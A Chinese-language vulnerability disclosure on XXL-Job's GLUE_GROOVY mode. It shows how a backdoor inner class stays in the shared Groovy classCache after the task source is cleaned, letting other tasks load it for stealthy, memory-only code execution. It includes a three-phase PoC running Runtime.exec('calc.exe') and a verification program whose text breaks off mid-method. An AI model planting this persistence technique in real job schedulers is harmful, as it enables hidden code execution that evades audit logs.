XXL-Job GlueFactory classCache 跨任务类残留漏洞
漏洞分析
XXL-Job GlueFactory classCache 跨任务类残留漏洞
XXL-Job GlueFactory classCache 跨任务类残留漏洞分析 ========================================= - - - - - - 一、漏洞概述 ------ XXL-Job 是国内最流行的分布式任务调度框架,覆盖金融、政务、能源、电商等核心业务场景。 本文披露的漏洞存在于 XXL-Job 的 **GLUE\_GROOVY 模式编译链路**中。攻击者利用 Groovy 编译器的一个设计特性——**多类定义源码在编译时,所有产物均被写入 GroovyClassLoader 的内部 classCache**——结合 XXL-Job 自身的 **双层缓存架构信息不对称**,实现了一个此前未被任何公开研究覆盖的攻击向量: > **在 GLUE 任务源码已被修改为"完全正常"的代码之后,之前植入的恶意辅助类仍然存活于 JVM 的 ClassLoader 缓存中,且可被其他任意任务通过 `Class.forName()` 加载并执行。** 这个后门是 **纯内存态的、JVM 级别的、直到 Executor 进程重启前永远有效**的。常规安全手段(日志审计、文件完整性监控、网络流量检测、进程监控、WAF/IDS 规则)全部无法发现它。 - - - - - - 二、影响范围与危害等级 ----------- ### 2.1 直接危害 | 危害维度 | 描述 | |---|---| | **跨任务 RCE** | Task-A 植入的后门类可被 Task-B(任意其他 GLUE 任务)加载执行,实现跨任务的任意命令执行 | | **源码级隐蔽** | 攻击者修改 glueSource 删除恶意代码后,数据库和审计日志中只存在"干净"的源码,但内存中仍有后门 | | **JVM 级持久化** | 后门存活于 ClassLoader 的 ConcurrentHashMap 中,强引用链从 GC Root 到残留类全路径无断点,GC 无法回收 | | **检测盲区** | 无文件变更、无异常网络流量、无新进程创建、无可疑日志记录 | ### 2.2 扩展攻击面 除直接 RCE 外,该漏洞还可衍生出以下攻击向量: **Metaspace DoS**: 攻击者反复修改 GLUE 源码(每次包含一组全新的唯一命名辅助类),使 GCL.classCache 持续膨胀。由于 UnlimitedConcurrentCache 是纯 ConcurrentHashMap(无容量上限、无 TTL、无 LRU 淘汰),大量 Class 对象驻留 Metaspace 最终导致 OOM:Metaspace space → Executor 进程崩溃 → 所有依赖该 Executor 的定时任务停止。 **双缓存侧信道**: 通过观察"某个类名是否仍可被 loadClass() 加载",攻击者可以推断其他管理员是否修改过特定任务的源码——这是一种侧信道信息泄露。 ### 2.3 真实业务场景 以某银行批处理系统为例: ```php 正常架构: Admin(8080) ←→ Executor-日终结算(9999) Admin(8080) ←→ Executor-对账(9999) Admin(8080) ←→ Executor-报表(9999) 攻击路径: 1. 攻击者获得低权限运维账号(可编辑 GLUE 任务) 2. 在 Executor-日终结算 的 "Task-结算" 上植入 Backdoor 类 3. 将 Task-结算 的 glueSource 改回完全正常的代码(审计看起来一切正常) 4. 创建一个权限范围内允许的新 Task-测试 5. Task-测试 的 glueSource 加载 TaskA$Backdoor → 触发 RCE 6. 获得 Executor-日终结算 服务器权限 → 横向移动到其他 Executor 防御盲区: · WAF/IDS: 无异常流量(RCE 通过 Runtime.exec() 完成,无外部连接) · 日志审计: glueSource 变更记录显示"正常更新" · 文件完整性: 无文件变更(后门纯内存态) · 进程监控: Executor 进程正常运行 ``` - - - - - - 三、根因分析 ------ ### 3.1 问题根源:双层缓存架构的信息不对称 XXL-Job 在 GlueFactory 中维护了两层独立的缓存系统: ```php ┌───────────────────────────────────────────────────────────────┐ │ GlueFactory 单例 │ │ │ │ ┌─ CLASS_CACHE (MD5-keyed) ─────────────────────────────┐ │ │ │ key = MD5(glueSource) | │ │ │ value = 主类 Class<?> 对象(IJobHandler 实现) │ │ │ │ │ │ │ │ 只存储 parseClass() 返回的主类 │ │ │ │ 辅助类对这层缓存"不可见" │ │ │ └───────────────────────────────────────────────────────┘ │ │ ↓ loadNewInstance() │ │ ┌─ groovyClassLoader (GCL) ──────────────────────────────┐ │ │ │ │ │ │ │ ┌─ classCache (name-keyed) ────────────────────────┐ │ │ │ │ │ key = cls.getName() (类全限定名) │ │ │ │ │ │ value = Class<?> 对象 │ │ │ │ │ │ │ │ │ │ │ │ 所有编译产物都存入此缓存 │ │ │ │ │ │ 不同名 = 不同 key = 共存不覆盖 │ │ │ │ │ │ 无淘汰机制(UnlimitedConcurrentCache) │ │ │ │ │ └───────────────────────────────────────────────────┘ │ │ │ └────────────────────────────────────────────────────────┘ │ └───────────────────────────────────────────────────────────────┘ ``` 关键问题在于:**CLASS\_CACHE 只存主类,而 GCL.classCache 存所有类**。当源码被修改时,CLASS\_CACHE 会新增条目(因为 MD5 变了),GCL.classCache 中同名主类会被覆盖为新版本,但 **不同名的辅助类完全没有被触及**。 ### 3.2 触发条件五要素交集 V-13 需要以下 5 个条件同时成立(缺一不可): ```php ① GlueFactory 是 static final 单例 [GlueFactory.java:20] → JVM 级生命周期,整个运行期间只有一个实例 ② 内部 GroovyClassLoader 也是单例属性 [GlueFactory.java:42] → 所有 GLUE 任务共享同一个 GCL 实例 ③ doParseClass()对所有编译产物调用 setClassCacheEntry() [GroovyClassLoader.java:405-407] → 每个 Class 都写入 classCache ④ setClassCacheEntry() 以 cls.getName() 为 key [GroovyClassLoader.java:531-532] → 不同类名 = 不同 key = ConcurrentHashMap 共存不覆盖 ⑤ isRecompilable() 对残留类返回 false [GroovyClassLoader.java:573-576] → cls.getClassLoader()(=InnerLoader) ≠ this(=GCL) → 不重编 recompile==null && !getRecompileGroovySource()=false → 不返回 true → 最终:直接返回缓存中的旧对象 ``` 这 5 个条件的交集是 **XXL-Job + Groovy 5.0.x 特有的架构组合**,不存在于其他同类框架或 Groovy 版本配置中。 - - - - - - 四、技术细节深度分析 ---------- ### 4.1 多类编译产物的收集机制 当 GLUE\_GROOVY 任务的 glueSource 包含多个类定义时,Groovy 编译器的处理流程如下: ```groovy // 攻击者编写的 glueSource(阶段一) public class TaskA extends IJobHandler { // 类①:主类 public void execute() {} public static class Backdoor { // 类②:内部恶意类 public static void trigger() { Runtime.getRuntime().exec("calc.exe"); } } } ``` **AST 解析阶段** —— [ModuleNode.java:223-228](https://forum.butian.net/ai_security/xxl-job-core/src/main/java/org/codehaus/groovy/ast/ModuleNode.java): ```java public void addClass(final ClassNode node) { if (classes.isEmpty()) mainClassName = node.getName(); // 第一个类成为 mainClassName classes.add(node); // 追加到列表 } // 结果: classes = [TaskA, TaskA$Backdoor], mainClassName = "TaskA" ``` **字节码收集阶段** —— [ClassCollector.java:1162-1177](https://forum.butian.net/ai_security/target/groovy-src/groovy/lang/GroovyClassLoader.java): ```java protected Class createClass(byte[] code, ClassNode classNode) { Class<?> theClass = getDefiningClassLoader().defineClass(...); loadedClasses.add(theClass); // 每个类都加入列表! if (generatedClass == null) { // 只有第一个类(mainClassName 匹配)成为 generatedClass generatedClass = theClass; } return theClass; } // 结果: loadedClasses = [class TaskA, class TaskA$Backdoor] // generatedClass = class TaskA(只有主类) ``` **缓存写入阶段** —— [GroovyClassLoader.java:405-410](https://forum.butian.net/ai_security/target/groovy-src/groovy/lang/GroovyClassLoader.java): ```java for (Object o : collector.getLoadedClasses()) { var c = (Class<?>) o; setClassCacheEntry(c); // 每个类都写入 classCache! definePackageInternal(c.getName()); if (c.getName().equals(mainName)) answer = c; // 只有主类作为返回值 } return answer; // → class TaskA(但 TaskA$Backdoor 已在 classCache 中!) ``` ### 4.2 源码变更后的缓存行为 当攻击者将 glueSource 修改为只有主类的"干净"版本后: ```php 阶段一结束时的 classCache: { "TaskA" → class TaskA_v1 (InnerLoader@IL1) "TaskA$Backdoor" → class TaskA$Backdoor (InnerLoader@IL1) ← 辅助类 } 阶段二: 编译新 glueSource(只有 TaskA,无 Backdoor) doParseClass() 执行: 1. 编译产生: [class TaskA_v2] 2. setClassCacheEntry(class TaskA_v2): → classCache.put("TaskA", class TaskA_v2) ← 同名 key,覆盖! 3. 没有 "TaskA$Backdoor" 的编译产物 → classCache.put("TaskA$Backdoor", ...) 不会被调用 → 旧条目原封不动保留! 阶段二结束时的 classCache: { "TaskA" → class TaskA_v2 (InnerLoader@IL2) ← 新版本 "TaskA$Backdoor" → class TaskA$Backdoor (InnerLoader@IL1) ← 残留!未变! } ``` **核心点**:`classCache` 底层是 `ConcurrentHashMap`,`put()` 操作只影响相同 key 的条目。不同 key 的条目互不影响。`TaskA$Backdoor` 这个 key 在阶段二根本没有对应的 `put()` 操作,所以阶段一的条目永久保留。 ### 4.3 跨任务访问残留类的委托链 当另一个任务(Task-B)尝试加载残留类时,完整的 ClassLoader 委托链如下: ```php TaskB.execute() → this.getClass().getClassLoader().loadClass("TaskA$Backdoor") Step 1: 进入 InnerLoader(IL3).loadClass() [InnerLoader.java:1082-1087] findLoadedClass("TaskA$Backdoor") → null // IL3 从未加载过 delegate.loadClass("TaskA$Backdoor", ...) // delegate = GCL(共享单例!) Step 2: 进入 GCL.loadClass() [GroovyClassLoader.java:654-724] cls = getClassCacheEntry("TaskA$Backdoor") → classCache.get("TaskA$Backdoor") // 命中!返回阶段一的残留对象 if (!isRecompilable(cls)) return cls; // 是否需要重编译? Step 3: isRecompilable(class TaskA$Backdoor) 判断 [GroovyClassLoader.java:573-581] cls == null? → false(非空) cls.getClassLoader() == this? → false(IL1 ≠ GCL) recompile == null && !config.getRecompileGroovySource()? → false(默认值) 结论: isRecompilable() = false → 直接返回缓存的残留类! Step 4: TaskB 获得 class TaskA$Backdoor(阶段一的恶意类) → newInstance().trigger() → Runtime.exec("calc.exe") → RCE ``` ### 4.4 为什么 GC 无法回收残留类 追踪从 GC Root 到残留对象的完整强引用链: ```php GC Root: GlueFactory.class(类对象,JVM 永久存在) └→ static final glueFactory 字段 [GlueFactory.java:20] └→ GlueFactory 实例 @1ddc4ec2 └→ private groovyClassLoader 字段 [GlueFactory.java:42] └→ GroovyClassLoader 实例 (GCL) └→ protected classCache 字段 [GCL.java:98] └→ UnlimitedConcurrentCache 实例 └→ private ConcurrentHashMap map [UCC.java:36] └→ entry: "TaskA$Backdoor" → class TaskA$Backdoor └→ class TaskA$Backdoor 内部字段: definingLoader = InnerLoader@IL1 └→ InnerLoader.delegate = GCL(回到上面,形成闭环) ``` 整条链路 **全部是强引用**,没有任何 WeakReference 或 SoftReference 断点。此外,[UnlimitedConcurrentCache.cleanUpNullReferences()](https://forum.butian.net/ai_security/target/groovy-src/org/codehaus/groovy/runtime/memoize/UnlimitedConcurrentCache.java) 只清理值为 null 的 SoftReference 条目——而 Class<?> 对象不是 SoftReference,永远不会被该方法触及。 **结论:只要 Executor JVM 进程在运行,残留类就永远不会被 GC 回收。** ### 4.6 PoC 格式约束的严谨论证 V-13 的攻击 payload(glueSource)**必须**采用纯类定义格式,不能包含语句级代码。这不是 V-13 的弱点,而是 GLUE\_GROOVY 模式的固有约束,下面逐层论证。 #### 4.6.1 ModuleNode 的 Script 包装机制 [ModuleNode.java:92-101](https://forum.butian.net/ai_security/target/groovy-src/org/codehaus/groovy/ast/ModuleNode.java) 中 `getClasses()` 的关键逻辑: ```java public List<ClassNode> getClasses() { if (createClassForStatements && (!statementBlock.isEmpty() || !methods.isEmpty() || isPackageInfo())) { // 条件成立 → 创建 Script 包装类 ClassNode mainClass = createStatementsClass(); mainClassName = mainClass.getName(); // mainClassName 被覆盖为 "scriptN" createClassForStatements = false; classes.add(0, mainClass); // 插入列表头部(index=0) } return classes; } ``` 触发条件拆解: - `statementBlock.isEmpty()` —— 源码中是否有语句级代码(`def x = 1`、`println "hello"` 等) - `methods.isEmpty()` —— 源码顶层是否有方法定义(非类内的方法) - `isPackageInfo()` —— 是否为 package-info.groovy **三者任一为 true → 创建 Script 包装类**。 #### 4.6.2 纯类定义 vs 含语句代码的编译产物差异 以两种格式的 glueSource 为例,对比完整编译行为: **格式 A:纯类定义(要求的格式)** ```groovy public class TaskA extends IJobHandler { public void execute() {} public static class Backdoor { ... } } ``` 编译流程: ```php ① AST 解析: statementBlock = [] (空!无语句) addClass(TaskA) → classes=[TaskA], mainClassName="TaskA" addClass(Backdoor) → classes=[TaskA, TaskA$Backdoor] ② getClasses(): statementBlock.isEmpty() == true → 跳过 Script 创建 返回 classes = [TaskA, TaskA$Backdoor],mainClassName="TaskA" ③ ClassCollector.createCode(): loadedClasses = [class TaskA, class TaskA$Backdoor] generatedClass = class TaskA(第一个匹配 mainClassName) ④ doParseClass() 循环 [L405-410]: setClassCacheEntry(class TaskA) → classCache["TaskA"] = TaskA setClassCacheEntry(class TaskA$Backdoor) → classCache["TaskA$Backdoor"] = TaskA$Backdoor answer = class TaskA(mainName 匹配) ⑤ GlueFactory.loadNewInstance() 返回: class TaskA ✓(IJobHandler 实现) ``` **格式 B:混入语句代码(不允许的格式)** ```groovy def x = 1 // 语句级代码! public class TaskA extends IJobHandler { public void execute() {} public static class Backdoor { ... } } ``` 编译流程: ```php ① AST 解析: statementBlock = [ExpressionStatement(def x=1)] (非空!) addClass(TaskA) → classes=[TaskA], mainClassName="TaskA" addClass(Backdoor) → classes=[TaskA, TaskA$Backdoor] ② getClasses(): statementBlock.isEmpty() == false → 进入 Script 创建分支 创建 Script 类: name="script1", extends Script mainClassName = "script1" // 被覆盖! classes.add(0, script1) // 插入头部 返回 classes = [script1, TaskA, TaskA$Backdoor] ③ ClassCollector.createCode(): loadedClasses = [class script1, class TaskA, class TaskA$Backdoor] generatedClass = class script1(第一个,且匹配 mainClassName="script1") ④ doParseClass() 循环 [L405-410]: setClassCacheEntry(class script1) → classCache["script1"] = script1 setClassCacheEntry(class TaskA) → classCache["TaskA"] = TaskA setClassCacheEntry(class TaskA$Backdoor) → classCache["TaskA$Backdoor"] = TaskA$Backdoor answer = class script1(mainName="script1" 匹配) ⑤ GlueFactory.loadNewInstance() 返回: class script1 ✗(不是 IJobHandler 子类!) → newInstance() 后调用 execute() → NoSuchMethodError / ClassCastException ``` #### 4.6.3 约束对有效性的实际影响 | 问题 | 回答 | |---|---| | 纯类定义格式是否难以满足? | **否**。XXL-Job 官方文档中所有 GLUE 示例均为纯类定义格式(必须 `extends IJobHandler`),这是模式的基本要求,不是额外约束 | | 攻击者能否控制 glueSource 格式? | **能**。GLUE 任务源码完全由编辑者控制 | | 如果阶段二清洗时误用含语句格式会怎样? | 阶段二返回 Script 类而非 IJobHandler → ExecutorBizImpl 执行时抛异常 → 任务失败 → 引起管理员注意 → 反而不利于隐蔽。所以攻击者清洗时也必然使用纯类格式 | | 格式 B 下 V-13 核心机制是否仍然成立? | **成立**。即使返回值是 Script 类,`setClassCacheEntry()` 仍然对 **所有三个类** 都执行了,TaskA$Backdoor 依然写入 classCache 并在后续残留。只是 loadNewInstance() 的返回值类型不正确导致任务执行报错 | **结论:纯类定义格式是 GLUE\_GROOVY 模式的基本前提,不是这个点特有的额外约束。我们在植入和清洗两个阶段都天然满足此条件。** ### 4.7 sourceCache shouldCache=false 对这个点的深层影响 前面 5.4 防御排除表中提到了 `sourceCache shouldCache=false` 是"成立的有利前提",这里展开其完整影响链路。 #### 4.7.1 调用链追踪 从 GlueFactory 到 sourceCache 的完整路径: ```php GlueFactory.getCodeSourceClass(codeSource) → groovyClassLoader.parseClass(codeSource) [String 重载] → new GroovyCodeSource(text, fileName, "/groovy/script") → gcs.setCachable(false) [L302] ★ 硬编码 false → parseClass(gcs) [GroovyCodeSource 重载] → parseClass(codeSource, codeSource.isCachable()) = parseClass(gcs, false) → sourceCache.getAndPut(cacheKey, provider, shouldCacheSource=false) ``` 最终进入 [ConcurrentCommonCache.java:117-147](https://forum.butian.net/ai_security/target/groovy-src/org/codehaus/groovy/runtime/memoize/ConcurrentCommonCache.java): ```java public V getAndPut(K key, ValueProvider<? super K, ? extends V> valueProvider, boolean shouldCache) { // ... 读锁查找缓存(shouldCache=false 时也会查,但永远找不到因为之前没存过) writeLock.lock(); try { value = null == valueProvider ? null : valueProvider.provide(key); // 总是执行 provider! if (shouldCache && null != convertValue(value)) { // shouldCache=false → 跳过 commonCache.put(key, value); } } finally { writeLock.unlock(); } return value; // 返回 doParseClass() 的结果 } ``` #### 4.7.2 shouldCache=false 的双重效应 | 效应 | 说明 | 对 这个漏洞点的影响 | |---|---|---| | **sourceCache 永远不命中** | 每次 parseClass() 都走 `valueProvider.provide(key)` 即 `doParseClass()` | **正面**:保证每次都经历完整的编译→全类缓存写入流程,不存在"因 sourceCache 命中而跳过编译导致新类未写入 classCache"的情况 | | **sourceCache 无历史积累** | 编译结果从不存入 sourceCache | **中性**:不影响,classCache 才是关键存储 | 如果 `shouldCache=true`(假设场景),则可能出现: - 相同 glueSource 第二次调用 → sourceCache 命中 → 直接返回旧 Class → **跳过 doParseClass()** → 新编译周期的 classCache 写入被跳过 → 但这反而让 这个点更难被触发(因为需要 doParseClass 来覆盖主类条目) **因此 shouldCache=false 不仅不是阻碍因素,反而是这个点能够稳定触发的必要前提——它确保每次源码变更都会走完完整的编译+缓存刷新链路。** ### 4.7 与已知问题的精确区分 | 已知问题 | 与 当前这个的关系 | 核心差异 | |---|---|---| | CVE-2023-48089 (GLUE RCE via /jobcode/save) | 同涉及 GLUE 模式 | CVE 利用的是"GLUE 能执行代码"这一**设计意图**;当前这个点利用的是编译后的 **classCache 副作用**。CVE 的后门随源码删除而消失;当前这个点的后门在源码删除后仍然存活 | | CSDN "Groovy类加载机制导致 Metaspace OOM" | 同涉及 classCache | 公开研究关注的是**同一脚本多次编译**产生不同 Script\_xxx 名导致的累积;当前这个点关注的是**同一次编译中多个不同名类**在**跨编译周期**后的残留。方向相反 | | Spring GroovyScriptFactory shared-loader 问题 | 同涉及 GroovyClassLoader | Spring 可配置 refreshCheckDelay → 新 GCL 替换旧 GCL;XXL-Job 使用 static final 单例,无此机制。且 Spring 无 XXL-Job 特有的双层缓存架构 | | OS 级后门(crontab / shell 脚本) | 同属于"持久化"范畴 | OS 级后门在文件系统层面可被 Tripwire/AIDE 等工具检测;当前这个点是纯内存态后门,常规主机安全方案完全无效 | - - - - - - 五、利用证明与复现步骤 ----------- ### 5.1 环境 | 项目 | 值 | |---|---| | XXL-Job 版本 | 3.4.0-SNAPSHOT | | Groovy 版本 | 5.0.4(pom.xml 声明) | | Java 版本 | 21.0.2 (Oracle) | | 操作系统 | Windows 10/11(Linux 同理) | | 前置权限 | GLUE 任务编辑权限(低权限用户即可) | ### 5.2 PoC:三阶段攻击 **阶段一 —— 植入(Task-A 首次执行):** ```groovy import com.xxl.job.core.handler.IJobHandler; public class TaskA extends IJobHandler { public void execute() { System.out.println("[TaskA] 正常业务逻辑执行"); } // 恶意内部类:将在 classCache 中永久存活 public static class Backdoor { public static void trigger() { System.out.println("[Backdoor] 后门触发"); try { Runtime.getRuntime().exec("calc.exe"); } catch (Exception e) { e.printStackTrace(); } } } } ``` **预期结果**:`classCache` 中出现两个条目: - `"TaskA"` → class TaskA - `"TaskA$Backdoor"` → class TaskA$Backdoor ( 后门已植入) **阶段二 —— 清洗(攻击者修改 Task-A 的源码):** ```groovy import com.xxl.job.core.handler.IJobHandler; public class TaskA extends IJobHandler { public void execute() { System.out.println("[TaskA] 清洗后的正常代码"); } } // 注意:Backdoor 类已被删除!glueSource 看起来完全正常 ``` **预期结果**: - `"TaskA"` 条目被覆盖为新版本(新的 InnerLoader) - **`"TaskA$Backdoor"` 条目仍然存在,且是阶段一的同一对象(identity 未变)** - 数据库和审计日志中只存在上述"干净"的源码 **阶段三 —— 触发(Task-B 执行,访问残留类):** ```groovy import com.xxl.job.core.handler.IJobHandler; public class TaskB extends IJobHandler { public void execute() { // 通过当前 ClassLoader 的委托链加载阶段一残留的后门类 try { Class<?> bc = this.getClass().getClassLoader() .loadClass("TaskA$Backdoor"); // 执行后门方法 → RCE java.lang.reflect.Method m = bc.getMethod("trigger"); m.invoke(null); } catch (ClassNotFoundException e) { System.out.println("残留类未找到"); } catch (Exception e) { e.printStackTrace(); } } } ``` **预期结果**: - `loadClass("TaskA$Backdoor")` 成功返回阶段一的恶意类 - `trigger()` 执行 → `Runtime.exec("calc.exe")` → **计算器弹出** ### 5.3 自动化验证程序输出 以下是使用 XXL-Job 真实源码(GlueFactory、GlueJobHandler、IJobHandler)编译的验证程序实际运行输出: ```php ================================================================ RIGOROUS VERIFICATION (Real XXL-Job Source Code) GlueFactory: com.xxl.job.core.glue.GlueFactory@7cd84586 ================================================================ >>> PHASE 1: IMPLANT [simulateExecutorRun] Calling REAL GlueFactory.getInstance().loadNewInstance()... [simulateExecutorRun] loadNewInstance returned: TaskA ========== After Phase-1 ========== [GCL.classCache] size=2 "TaskA" -> TaskA | loader=InnerLoader@59e5ddf "TaskA$Backdoor" -> TaskA$Backdoor | loader=InnerLoader@59e5ddf --- Phase-1 --- 'TaskA$Backdoor' in GCL.classCache? YES *** >>> PHASE 2: CLEANSE [simulateExecutorRun] ★ glueUpdatetime MISMATCH! existing=1000 != request=2000 [simulateExecutorRun] Calling REAL GlueFactory.getInstance().loadNewInstance()... ========== After Phase-2 ========== [GCL.classCache] size=2 "TaskA" -> TaskA | loader=InnerLoader@49872d67 ← 新版本 "TaskA$Backdoor" -> TaskA$Backdoor | loader=InnerLoader@59e5ddf ← ★ 仍是旧对象! --- Phase-2 (CORE) --- 'TaskA$Backdoor' STILL exists? YES *** CRITICAL *** Same object (not recompiled)? YES *** V-13 CONFIRMED *** >>> PHASE 3: TRIGGER ========== After Phase-3 ========== [GCL.classCache] size=3 "TaskB" -> TaskB | loader=InnerLoader@101639ae "TaskA" -> TaskA | loader=InnerLoader@49872d67 "TaskA$Backdoor" -> TaskA$Backdoor | loader=InnerLoader@59e5ddf ← ★ 仍在! [Executing TaskB -> triggers Backdoor] [TaskB] Loading residual backdoor... [TaskB] *** LOADED: TaskA$Backdoor | loader=InnerLoader@59e5ddf [Backdoor] *** RCE EXECUTED *** (calc.exe 计算器弹出) ================================================================ VERIFICATION RESULT ================================================================ [T1] Real GlueFactory.loadNewInstance() used? YES [T2] Multi-class -> all in GCL.classCache? PASS [T3] Source change -> aux class persists? PASS [T4] Residual same obj (InnerLoader preserved)? PASS [T5] Cross-task loadClass accessed residual? PASS [T6] Backdoor.trigger() executed (calc.exe)? PASS *** CONFIRMED under REAL XXl-Job GlueFactory context *** ================================================================ ```   验证程序源码 `V13RigorousVerify.java`,可直接编译运行复现。 ```js import com.xxl.job.core.glue.GlueFactory; import com.xxl.job.core.handler.IJobHandler; import com.xxl.job.core.handler.impl.GlueJobHandler; import groovy.lang.GroovyClassLoader; import java.lang.reflect.Field; import java.util.Map; import java.util.Set; /** * 1. 使用 XXL-Job 真实源码编译的 GlueFactory * 2. 使用 GlueFactory.getInstance() 真实单例(static final) * 3. 使用 GlueFactory.loadNewInstance() 真实方法(含 injectService + instanceof 检查) * 4. 使用真实 GlueJobHandler 包装(含 glueUpdatetime 追踪) * 5. 模拟 ExecutorBizImpl.run() 的完整调用链(glueUpdatetime 检查 + JobThread 替换逻辑) */ public class V13RigorousVerify { // ===== 反射工具: 访问 GCL 内部 classCache ===== private static Object getGCLClassCache() throws Exception { Field gclField = GlueFactory.class.getDeclaredField("groovyClassLoader"); gclField.setAccessible(true); Object gcl = gclField.get(GlueFactory.getInstance()); Field cacheField = GroovyClassLoader.class.getDeclaredField("classCache"); cacheField.setAccessible(true); return cacheField.get(gcl); } @SuppressWarnings("unchecked") private static boolean cacheContainsKey(String key) throws Exception { Object cache = getGCLClassCache(); java.lang.reflect.Method m = cache.getClass().getMethod("containsKey", Object.class); return (Boolean) m.invoke(cache, key); } @SuppressWarnings("unchecked") private static Object cacheGet(String key) throws Exception { Object cache = getGCLClassCache(); java.lang.reflect.Method m = cache.getClass().getMethod("get", Object.class); return m.invoke(cache, key); } private static void dumpState(String phase) throws Exception { Object cacheObj = getGCLClassCache(); int size = (int) cacheObj.getClass().getMethod("size").invoke(cacheObj); Set<?> entries = (Set<?>) cacheObj.getClass().getMethod("entrySet").invoke(cacheObj); System.out.println("\n========== " + phase + " =========="); System.out.println("[GCL.classCache] size=" + size); for (Object entry : entries) { var e = (Map.Entry<String, Class<?>>) entry; System.out.println(" \"" + e.getKey() + "\" -> " + e.getValue().getName() + " | loader=" + e.getValue().getClassLoader().getClass().getSimpleName() + "@" + Integer.toHexString(System.identityHashCode(e.getValue().getClassLoader()))); } } // ===== 阶段一: 含后门类的 GLUE 源码 ===== private static final String PHASE1_GLUE_SOURCE = "public class TaskA extends com.xxl.job.core.handler.IJobHandler {\n" + " public void execute() { System.out.println('[TaskA] Phase-1 normal exec'); }\n" + " public static class Backdoor {\n" + " public static void trigger() {\n" + " System.out.println('[Backdoor] *** RCE EXECUTED ***');\n" + " try { Runtime.getRuntime().exec('calc.exe'); }\n" + " catch (Exception e) { e.printStackTrace(); }\n" + " }\n" + " }\n" + "}\n"; // ===== 阶段二: 清洗后的 GLUE 源码(无后门类)===== private static final String PHASE2_GLUE_SOURCE_CLEANED = "public class TaskA extends com.xxl.job.core.handler.IJobHandler {\n" + " public void execute() { System.out.println('[TaskA] Phase-2 cleaned - innocent!'); }\n" + "}\n"; // ===== 阶段三: 触发任务的 GLUE 源码 ===== private static final String PHASE3_GLUE_SOURCE_TRIGGER = "public class TaskB extends com.xxl.job.core.handler.IJobHandler {\n" + " public void execute() {\n" + " System.out.println('[TaskB] Loading residual backdoor via ClassLoader...');\n" + " try {\n" + " Class<?> bc = this.getClass().getClassLoader()\n" + " .loadClass('TaskA$Backdoor');\n" + " System.out.println('[TaskB] *** LOADED: ' + bc.getName()\n" + " + ' | loader=' + bc.getClassLoader().getClass().getSimpleName()\n" + " + '@' + Integer.toHexString(System.identityHashCode(bc.getClassLoader())));\n" + " bc.getMethod('trigger').invoke(null);\n" + " } catch (ClassNotFoundException e) {\n" + " System.out.println('[TaskB] FAILED - residual class NOT found in classCache');\n" + " } catch (Exception e) { e.printStackTrace(); }\n" + " }\n" + "}\n"; /** * ExecutorBizImpl.run() 中 GLUE_GROOVY 分支的核心逻辑 * * 真实代码路径 (ExecutorBizImpl.java): * 1. 获取旧 jobThread -> 检查 handler instanceof GlueJobHandler * 2. 比较 glueUpdatetime -> 不匹配则置 null (触发重新创建) * 3. jobHandler == null -> GlueFactory.getInstance().loadNewInstance(glueSource) * 4. new GlueJobHandler(jobHandler, glueUpdatetime) * 5. registJobThread(jobId, newJobThread) */ static IJobHandler simulateExecutorRun( String jobId, String glueSource, long glueUpdatetime, GlueJobHandler existingHandler ) throws Exception { System.out.println(" [simulateExecutorRun] jobId=" + jobId + " glueUpdatetime=" + glueUpdatetime); // Step 1: glueUpdatetime 检查 (ExecutorBizImpl.java:82-84) if (existingHandler != null) { if (existingHandler.getGlueUpdatetime() != glueUpdatetime) { System.out.println(" [simulateExecutorRun] ★ glueUpdatetime MISMATCH!" + " existing=" + existingHandler.getGlueUpdatetime() + " != request=" + glueUpdatetime + " -> discard old handler, will create new"); existingHandler = null; // jobThread=null, jobHandler=null } else { System.out.println(" [simulateExecutorRun] glueUpdatetime matches, reuse existing"); } } IJobHandler jobHandler = null; // Step 2: 创建新 handler (ExecutorBizImpl.java:93-100) if (existingHandler == null) { System.out.println(" [simulateExecutorRun] Calling GlueFactory.getInstance().loadNewInstance()..."); jobHandler = GlueFactory.getInstance().loadNewInstance(glueSource); System.out.println(" [simulateExecutorRun] loadNewInstance returned: " + jobHandler.getClass().getName()); } else { jobHandler = existingHandler; } // Step 3: 包装为 GlueJobHandler (ExecutorBizImpl.java:96) GlueJobHandler glueJobHandler = new GlueJobHandler(jobHandler, glueUpdatetime); System.out.println(" [simulateExecutorRun] Wrapped in GlueJobHandler(updatetime=" + glueUpdatetime + ")"); return glueJobHandler; } public static void main(String[] args) throws Exception { System.out.println("================================================================"); System.out.println(" V-13 RIGOROUS VERIFICATION (Real XXL-Job Source Code)"); System.out.println(" GlueFactory: " + GlueFactory.getInstance().getClass().getName() + "@" + Integer.toHexString(System.identityHashCode(GlueFactory.getInstance()))); System.out.println(" Java: " + System.getProperty("java.version")); System.out.println("================================================================"); // ========== 阶段一: 植入 ========== System.out.println("\n\n>>> PHASE 1: IMPLANT (via simulated ExecutorBizImpl.run)"); System.out.println(" glueSource: TaskA(IJobHandler) + TaskA$Backdoor(malicious inner class)"); GlueJobHandler handlerPhase1 = (GlueJobHandler) simulateExecutorRun( "job-A", PHASE1_GLUE_SOURCE, 1000L, null); dumpState("After Phase-1 (implant)"); boolean p1_hasBD = cacheContainsKey("TaskA$Backdoor"); Object bdIdentity1 = cacheGet("TaskA$Backdoor"); System.out.println("\n--- Phase-1 ---"); System.out.println(" 'TaskA$Backdoor' in GCL.classCache? " + (p1_hasBD ? "YES ***" : "NO")); if (!p1_hasBD) { System.err.println("FATAL: V-13 NOT confirmed"); return; } System.out.println(" Backdoor identity: @" + Integer.toHexString(System.identityHashCode(bdIdentity1))); // 执行一次 (任务运行) System.out.println("\n [Executing Phase-1 handler.execute()...]"); handlerPhase1.execute(); // ========== 阶段二: 清洗 ========== System.out.println("\n\n>>> PHASE 2: CLEANSE (source modified, attacker removes Backdoor)"); System.out.println(" New glueSource: only TaskA (no Backdoor class)"); // 关键: 传入旧的 handler (有旧的 glueUpdatetime=1000),新的 updatetime=2000 -> 不匹配! GlueJobHandler handlerPhase2 = (GlueJobHandler) simulateExecutorRun( "job-A", PHASE2_GLUE_SOURCE_CLEANED, 2000L, handlerPhase1); dumpState("After Phase-2 (source cleaned)"); boolean p2_bdRemains = cacheContainsKey("TaskA$Backdoor"); Object bdIdentity2 = cacheGet("TaskA$Backdoor"); boolean p2_sameObject = (bdIdentity2 == bdIdentity1); System.out.println("\n--- Phase-2 (V-13 CORE) ---"); System.out.println(" 'TaskA$Backdoor' STILL exists? " + (p2_bdRemains ? "YES *** CRITICAL ***" : "NO")); System.out.println(" Same object (not recompiled)? " + (p2_sameObject ? "YES *** V-13 ***" : "NO")); if (!p2_bdRemains) { System.err.println("FATAL: Backdoor removed after source change"); return; } // 执行清洗后的版本 System.out.println("\n [Executing Phase-2 handler.execute()...]"); 